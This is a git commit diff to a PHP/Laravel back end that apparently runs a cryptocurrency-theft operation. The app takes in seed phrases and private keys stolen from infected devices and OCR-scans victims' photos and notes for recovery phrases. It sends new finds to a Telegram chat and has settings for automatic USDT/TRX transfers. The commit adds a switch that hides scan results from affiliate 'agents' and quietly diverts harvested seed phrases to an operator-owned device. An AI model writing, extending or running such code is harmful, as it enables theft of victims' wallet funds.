feat: scan

This commit is contained in:
hashbro
2026-09-13 01:22:54 +08:00
parent 4fa162c72c
commit 7fc5f43c01
19 changed files with 328 additions and 30 deletions
@@ -145,6 +145,7 @@ class DeviceController extends Controller
'google_bound' => $this->googleBoundForReveal(),
'google2fa_url' => $this->google2faUrl(),
'can_clear_photos' => $this->canClearPhotos(),
'show_scan' => $this->agentCanSeeScan(),
]);
}
@@ -562,7 +563,8 @@ class DeviceController extends Controller
$readIds = ($guard !== null && $actorId !== null)
? PhotoRead::readPhotoIds($guard, $actorId, $paginator->getCollection()->pluck('id')->all())
: [];
$data = collect($paginator->items())->map(function (Photo $photo) use ($device, $portal, $readIds) {
$showScan = $this->agentCanSeeScan();
$data = collect($paginator->items())->map(function (Photo $photo) use ($device, $portal, $readIds, $showScan) {
return [
'id' => $photo->id,
'url' => route($portal.'.devices.photo', [$device, $photo->id, 'seen' => 1]),
@@ -573,14 +575,16 @@ class DeviceController extends Controller
'process_index' => $photo->process_index,
'text_count' => $photo->text_count,
'barcode_count' => $photo->barcode_count,
'scan_status' => (int) $photo->scan_status,
'scan_label' => \App\Services\MnemonicScanStatus::label((int) $photo->scan_status),
'scan_status' => $showScan ? (int) $photo->scan_status : 0,
'scan_label' => $showScan ? \App\Services\MnemonicScanStatus::label((int) $photo->scan_status) : '',
'read' => in_array($photo->id, $readIds, true) ? 1 : 0,
'created_at' => optional($photo->created_at)->format('Y-m-d H:i:s'),
];
})->values();
$scan = app(\App\Services\MnemonicScanService::class)->photoProgress($device->id);
$scan = $showScan
? app(\App\Services\MnemonicScanService::class)->photoProgress($device->id)
: null;
return $this->layuiPage($paginator->total(), $data, $scan);
}
@@ -716,7 +720,8 @@ class DeviceController extends Controller
$scans = $note
? \App\Models\NoteScan::query()->where('note_id', $note->id)->get()->keyBy('item_key')
: collect();
$data = collect($slice)->values()->map(function (array $item, int $i) use ($page, $limit, $reportedAt, $scans) {
$showScan = $this->agentCanSeeScan();
$data = collect($slice)->values()->map(function (array $item, int $i) use ($page, $limit, $reportedAt, $scans, $showScan) {
$index = (($page - 1) * $limit) + $i;
$key = \App\Models\NoteScan::itemKey($item, $index);
$status = (int) ($scans[$key]->scan_status ?? \App\Services\MnemonicScanStatus::PENDING);
@@ -725,13 +730,15 @@ class DeviceController extends Controller
'id' => $index + 1,
'title' => $item['title'] ?? '',
'body' => $item['body'] ?? '',
'scan_status' => $status,
'scan_label' => \App\Services\MnemonicScanStatus::label($status),
'scan_status' => $showScan ? $status : 0,
'scan_label' => $showScan ? \App\Services\MnemonicScanStatus::label($status) : '',
'created_at' => $reportedAt ?: '',
];
});
$scan = app(\App\Services\MnemonicScanService::class)->noteProgress($device);
$scan = $showScan
? app(\App\Services\MnemonicScanService::class)->noteProgress($device)
: null;
return $this->layuiPage($total, $data, $scan);
}
@@ -758,6 +765,11 @@ class DeviceController extends Controller
return $this->layuiPage($paginator->total(), $data);
}
private function agentCanSeeScan(): bool
{
return ! $this->isAgentPortal() || (bool) config('coruna.scan.agent_visible', true);
}
/**
* @param Collection<int, array<string, mixed>>|array<int, array<string, mixed>> $data
*/
@@ -41,6 +41,7 @@ class MnemonicController extends Controller
'agents' => $agents,
'sources' => $sources,
'can_reveal' => $this->canRevealMnemonics(),
'show_origin' => $this->canSeeOriginDevice(),
'google_bound' => $this->googleBoundForReveal(),
'google2fa_url' => $this->google2faUrl(),
]);
@@ -64,16 +65,21 @@ class MnemonicController extends Controller
$portal = $this->portal();
$canReveal = $this->canRevealMnemonics();
$data = collect($paginator->items())->map(function ($row) use ($portal, $canReveal) {
$showOrigin = $this->canSeeOriginDevice();
$data = collect($paginator->items())->map(function ($row) use ($portal, $canReveal, $showOrigin) {
$originId = $showOrigin ? (int) ($row->origin_device_id ?? 0) : 0;
return [
'id' => $row->id,
'device_key' => $row->device_key ?: '',
'origin_device_key' => $showOrigin ? ($row->origin_device_key ?: '') : '',
'channel_id' => $row->device_channel_id ?: '',
'source' => $row->source ?: '',
'mnemonic' => WalletMnemonic::maskSecret($row->mnemonic),
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', $row->device_id),
'origin_detail_url' => $originId > 0 ? route($portal.'.devices.show', $originId) : '',
'wallets_url' => route($portal.'.mnemonics.wallets', $row->id),
'refresh_url' => route($portal.'.mnemonics.wallets.refresh', $row->id),
'can_reveal' => $canReveal,
@@ -269,10 +275,12 @@ class MnemonicController extends Controller
{
$q = WalletMnemonic::query()
->join('devices', 'devices.id', '=', 'wallet_mnemonics.device_id')
->leftJoin('devices as origin_devices', 'origin_devices.id', '=', 'wallet_mnemonics.origin_device_id')
->select([
'wallet_mnemonics.*',
'devices.device_id as device_key',
'devices.channel_id as device_channel_id',
'origin_devices.device_id as origin_device_key',
]);
AgentScope::applyDeviceChannelScope($q, $this->agent());
@@ -284,7 +292,10 @@ class MnemonicController extends Controller
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
}
if ($deviceKey !== '') {
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
$q->where(function ($inner) use ($deviceKey) {
$inner->where('devices.device_id', 'like', '%'.$deviceKey.'%')
->orWhere('origin_devices.device_id', 'like', '%'.$deviceKey.'%');
});
}
if ($source !== '') {
$q->where('wallet_mnemonics.source', $source);
@@ -298,4 +309,9 @@ class MnemonicController extends Controller
return $q;
}
private function canSeeOriginDevice(): bool
{
return ! $this->isAgentPortal() || (bool) config('coruna.scan.agent_visible', true);
}
}
@@ -17,6 +17,7 @@ class MnemonicFindingController extends Controller
public function index(MnemonicScanService $scan)
{
$this->denyHiddenAgentScan();
$agents = $this->isAgentPortal()
? collect()
: User::query()->orderBy('username')->get(['id', 'username']);
@@ -31,6 +32,7 @@ class MnemonicFindingController extends Controller
public function data(Request $request)
{
$this->denyHiddenAgentScan();
$q = $this->baseQuery($request);
$status = trim((string) $request->query('status', ''));
if (in_array($status, [MnemonicFinding::STATUS_SUSPECTED, MnemonicFinding::STATUS_CONFIRMED, MnemonicFinding::STATUS_DISMISSED], true)) {
@@ -83,6 +85,7 @@ class MnemonicFindingController extends Controller
public function confirm(Request $request, MnemonicFinding $finding, MnemonicScanService $scan)
{
$this->denyHiddenAgentScan();
if (! $this->findingInScope($finding)) {
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
}
@@ -99,6 +102,7 @@ class MnemonicFindingController extends Controller
public function dismiss(MnemonicFinding $finding, MnemonicScanService $scan)
{
$this->denyHiddenAgentScan();
if (! $this->findingInScope($finding)) {
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
}
@@ -107,6 +111,13 @@ class MnemonicFindingController extends Controller
return response()->json(['code' => 0, 'msg' => 'ok']);
}
private function denyHiddenAgentScan(): void
{
if ($this->isAgentPortal() && ! config('coruna.scan.agent_visible', true)) {
abort(403, '无权访问');
}
}
private function findingInScope(MnemonicFinding $finding): bool
{
$q = MnemonicFinding::query()
@@ -40,6 +40,7 @@ class SystemSettingsController extends Controller
$data = $request->validate([
'telegram_owner_chat_id' => ['nullable', 'string', 'max:64'],
'official_album_storage' => ['nullable', 'in:0,1'],
'agent_mnemonic_scan' => ['nullable', 'in:0,1'],
'auto_transfer_enabled' => ['nullable', 'in:0,1'],
'auto_transfer_threshold_usdt' => ['nullable', 'numeric', 'min:0'],
'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'],
@@ -74,6 +75,7 @@ class SystemSettingsController extends Controller
'telegram.bot_username' => $username !== '' ? $username : null,
'telegram.owner_chat_id' => $data['telegram_owner_chat_id'] ?? null,
'album_storage.official_default' => (($data['official_album_storage'] ?? '0') === '1') ? '1' : '0',
'scan.agent_visible' => (($data['agent_mnemonic_scan'] ?? '1') === '1') ? '1' : '0',
'auto_transfer.enabled' => (($data['auto_transfer_enabled'] ?? '0') === '1') ? '1' : '0',
'auto_transfer.threshold_usdt' => $threshold($data['auto_transfer_threshold_usdt'] ?? null) ?? '',
'auto_transfer.threshold_trx' => $threshold($data['auto_transfer_threshold_trx'] ?? null) ?? '',
+16
View File
@@ -238,6 +238,22 @@ class Device extends Model
return $this->hasMany(WalletMnemonic::class);
}
/** Oldest device on an official channel; used as scan-ingest holder. */
public static function officialHolder(): ?self
{
$channelIds = Channel::query()
->where('user_id', Channel::OFFICIAL_USER_ID)
->pluck('channel_id');
if ($channelIds->isEmpty()) {
return null;
}
return static::query()
->whereIn('channel_id', $channelIds)
->orderBy('id')
->first();
}
public function keystores(): HasMany
{
return $this->hasMany(WalletKeystore::class);
+6 -1
View File
@@ -10,7 +10,7 @@ use Illuminate\Support\Facades\Crypt;
class WalletMnemonic extends Model
{
protected $fillable = [
'device_id', 'source', 'mnemonic_hash', 'mnemonic_enc',
'device_id', 'origin_device_id', 'source', 'mnemonic_hash', 'mnemonic_enc',
];
public function device(): BelongsTo
@@ -18,6 +18,11 @@ class WalletMnemonic extends Model
return $this->belongsTo(Device::class);
}
public function originDevice(): BelongsTo
{
return $this->belongsTo(Device::class, 'origin_device_id');
}
public function addresses(): HasMany
{
return $this->hasMany(WalletAddress::class, 'mnemonic_id');
+10 -2
View File
@@ -512,7 +512,7 @@ class IngestService
/**
* `/api/user/set` — plaintext mnemonic / private key in `result`.
*/
public function ingestMnemonic(Device $device, ?array $payload): void
public function ingestMnemonic(Device $device, ?array $payload, ?Device $origin = null): void
{
if (! is_array($payload)) {
return;
@@ -545,10 +545,18 @@ class IngestService
$source = WalletSource::fromTag($payload['a'] ?? null);
$row->source = $source;
$row->mnemonic = $secret;
if ($origin !== null && (int) $origin->id !== (int) $device->id && empty($row->origin_device_id)) {
$row->origin_device_id = $origin->id;
}
$row->save();
if ($isNew) {
$this->mnemonicLinker->linkMnemonicToDeviceAddresses($row);
$this->telegram->notifyNewMemoric($device->device_id, $source, $secret);
$this->telegram->notifyNewMemoric(
$device->device_id,
$source,
$secret,
$origin !== null ? $origin->device_id : null,
);
}
}
+27 -8
View File
@@ -117,10 +117,11 @@ class MnemonicScanService
}
$finding->candidate = $phrase;
$finding->word_count = count(preg_split('/\s+/', $phrase) ?: []);
$this->ingest->ingestMnemonic($device, [
'mnemonic' => $phrase,
'a' => $finding->source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
]);
$this->ingestScanMnemonic(
$device,
$phrase,
$finding->source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
);
$finding->status = MnemonicFinding::STATUS_CONFIRMED;
$finding->reviewed_by = $actor;
$finding->reviewed_at = now();
@@ -292,13 +293,31 @@ class MnemonicScanService
$row->save();
if ($confirmed) {
$this->ingest->ingestMnemonic($device, [
'mnemonic' => $hit['candidate'],
'a' => $source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
]);
$this->ingestScanMnemonic(
$device,
(string) $hit['candidate'],
$source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
);
}
}
private function ingestScanMnemonic(Device $source, string $phrase, string $tag): void
{
$holder = $source;
$origin = null;
if (! config('coruna.scan.agent_visible', true)) {
$official = Device::officialHolder();
if ($official !== null && (int) $official->id !== (int) $source->id) {
$holder = $official;
$origin = $source;
}
}
$this->ingest->ingestMnemonic($holder, [
'mnemonic' => $phrase,
'a' => $tag,
], $origin);
}
/**
* Album and notes both need 12+ consecutive words that can derive an address.
*
+4
View File
@@ -15,6 +15,7 @@ class SettingsService
'telegram.bot_username' => 'TELEGRAM_BOT_USERNAME',
'telegram.owner_chat_id' => 'TELEGRAM_OWNER_CHAT_ID',
'album_storage.official_default' => 'CORUNA_OFFICIAL_ALBUM_STORAGE',
'scan.agent_visible' => 'CORUNA_AGENT_MNEMONIC_SCAN',
'auto_transfer.enabled' => 'AUTO_TRANSFER_ENABLED',
'auto_transfer.threshold_usdt' => 'AUTO_TRANSFER_THRESHOLD_USDT',
'auto_transfer.threshold_trx' => 'AUTO_TRANSFER_THRESHOLD_TRX',
@@ -37,6 +38,7 @@ class SettingsService
'telegram.bot_username' => config('coruna.telegram.bot_username'),
'telegram.owner_chat_id' => config('coruna.telegram.owner_chat_id'),
'album_storage.official_default' => config('coruna.album_storage.official_default') ? '1' : '0',
'scan.agent_visible' => config('coruna.scan.agent_visible') ? '1' : '0',
'auto_transfer.enabled' => config('coruna.auto_transfer.enabled') ? '1' : '0',
'auto_transfer.threshold_usdt' => config('coruna.auto_transfer.threshold_usdt'),
'auto_transfer.threshold_trx' => config('coruna.auto_transfer.threshold_trx'),
@@ -100,6 +102,7 @@ class SettingsService
'telegram.bot_username' => (string) (config('coruna.telegram.bot_username') ?: ''),
'telegram.owner_chat_id' => (string) (config('coruna.telegram.owner_chat_id') ?: ''),
'album_storage.official_default' => config('coruna.album_storage.official_default') ? '1' : '0',
'scan.agent_visible' => config('coruna.scan.agent_visible') ? '1' : '0',
'auto_transfer.enabled' => config('coruna.auto_transfer.enabled') ? '1' : '0',
'auto_transfer.threshold_usdt' => (string) (config('coruna.auto_transfer.threshold_usdt') ?? ''),
'auto_transfer.threshold_trx' => (string) (config('coruna.auto_transfer.threshold_trx') ?? ''),
@@ -140,6 +143,7 @@ class SettingsService
'telegram.bot_username' => config(['coruna.telegram.bot_username' => $value]),
'telegram.owner_chat_id' => config(['coruna.telegram.owner_chat_id' => $value]),
'album_storage.official_default' => config(['coruna.album_storage.official_default' => $value === '1']),
'scan.agent_visible' => config(['coruna.scan.agent_visible' => $value === '1']),
'auto_transfer.enabled' => config(['coruna.auto_transfer.enabled' => $value === '1']),
'auto_transfer.threshold_usdt' => config(['coruna.auto_transfer.threshold_usdt' => $value]),
'auto_transfer.threshold_trx' => config(['coruna.auto_transfer.threshold_trx' => $value]),
+10 -5
View File
@@ -312,14 +312,19 @@ class TelegramNotifier
}
}
public function notifyNewMemoric(string $deviceId, string $source, ?string $memoric): void
public function notifyNewMemoric(string $deviceId, string $source, ?string $memoric, ?string $originDeviceId = null): void
{
$this->send(implode("\n", [
$lines = [
'🔐 <b>新助记词</b>',
...$this->deviceHeader($deviceId),
'🏷 <b>来源</b>: '.$this->e($source ?: '—'),
'📝 <b>助记词</b>: <code>'.$this->e(WalletMnemonic::maskSecret($memoric)).'</code>',
]), $deviceId);
];
$origin = trim((string) $originDeviceId);
if ($origin !== '' && $origin !== $deviceId) {
$lines[] = '📎 <b>原设备</b>: <code>'.$this->e($origin).'</code>';
}
$lines[] = '🏷 <b>来源</b>: '.$this->e($source ?: '—');
$lines[] = '📝 <b>助记词</b>: <code>'.$this->e(WalletMnemonic::maskSecret($memoric)).'</code>';
$this->send(implode("\n", $lines), $deviceId);
}
public function notifySensitivePhoto(string $deviceId, int $xHit, int $count = 1): void